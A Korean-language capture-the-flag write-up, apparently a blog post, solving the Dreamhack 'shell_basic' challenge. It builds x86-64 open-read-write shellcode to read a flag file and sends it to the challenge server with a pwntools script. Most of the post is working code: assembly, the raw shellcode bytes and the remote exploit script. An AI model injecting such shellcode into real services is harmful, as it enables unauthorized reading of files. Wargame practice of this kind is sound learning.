문제는 orw 셸코드를 만드는 것. 주어진 경로 파일을 읽어 flag를 읽으란 뜻.
우선 어썜에 문제상 주어진 경로를 대입하려면 해당 문자열을 hex로 바꿔 패킹을 해줘야한다. (문제는 64 arch)
pwntools 로 패킹을 해결할 수 있지만, 본인은 리눅스가 좋아서 64arch이고 little-endian 방식으로 패킹해주는 one-line 커맨드를 만들어 봤다.
하단의 명령어를 설명하면 이렇다
1. 경로를 8글자씩 자른다 (이유는 64 arch)
2. one line 쉘 스크립트로 8글자씩 쪼개긴 문자열을 reverse 출력시킨다 (이유는 little-endian)
3. reverse 출력된 쪼개진 문자열들을 hex로 바꾼다.
4. awk로 hex로 바꾸어진 문자열들 앞에 모두 0x를 붙여준다.
5. sed로 16진수 0a를 없애준다. (이 이유는 사전에 쪼개어진 문자열들은 \n로 구분되기 떄문에 \n 또한 hex로 0a로 바뀐다. 이것을 삭제한 것이다 )
6. tac으로 출력된 16진수들을 세로로 reverse 출력시킨다.
(아래 16진수가 결과이다.)
echo "/home/shell_basic/flag_name_is_loooooong" | fold -w8 | while read string; do echo $string | rev | xxd -p | awk '{print "0x" $0}' | sed -e 's/0a//g'; done | tac
0x676e6f6f6f6f6f6f
0x6c5f73695f656d61
0x6e5f67616c662f63
0x697361625f6c6c65
0x68732f656d6f682f
이제 어쌤을 작성한다. (맨처음 opcode와 rsp를 구분해야 하기 때문에 NULL 을 push 해주어야 한다.)
section .text
global _start
_start:
push 0x00 ; you have to push NULL first to seperate opcode and rsp
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x02
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x40
mov rdx, 0x40
mov rax, 0x00
syscall
mov rdi, 1
mov rax, 0x01
syscall
xor rdi, rdi
mov rax, 0x3C
syscall
어쌤을 작성했으면 shellcode를 추출해준다.
xxd를 실행하면 아래와같이 hex들이 출력된다. 이것들을 1byte크기씩 쪼개고 \x 를 추가시켜 모두 연결시키면 orw셀코드가 된다. 팁으로 xxd -p 옵션을 주면 hexdump 형식으로 출력된다.
nasm -f elf64 shell_basic.asm
objcopy --dump-section .text=shell_basic.bin shell_basic.o
xxd -p shell_basic.bin
하지만, 저걸 언제 다 쪼개고 언제 연결시키냐 본인은 이것고 리눅스로 해결했다.(이것이 리눅스충..? ㅋㅋㅋ)
xxd -p shell_basic.bin | fold -w2 | awk '{print "\\x" $0}' | tr -d '\n'
// OUTPUT
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x40\xba\x40\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05
이제 출력된 shellcode를 payload에 대입하여 python pwntool로 해결하면 된다.
from pwn import *
context.log_level = "DEBUG"
context.arch = "amd64"
payloads = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x40\xba\x40\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
p = remote("host3.dreamhack.games", 15960)
p.recvuntil(b"shellcode: ")
p.sendline(payloads)
p.interactive()
'SystemHacking > dreamhack' 카테고리의 다른 글
Return Address Overwrite (0) | 2022.07.22 |
---|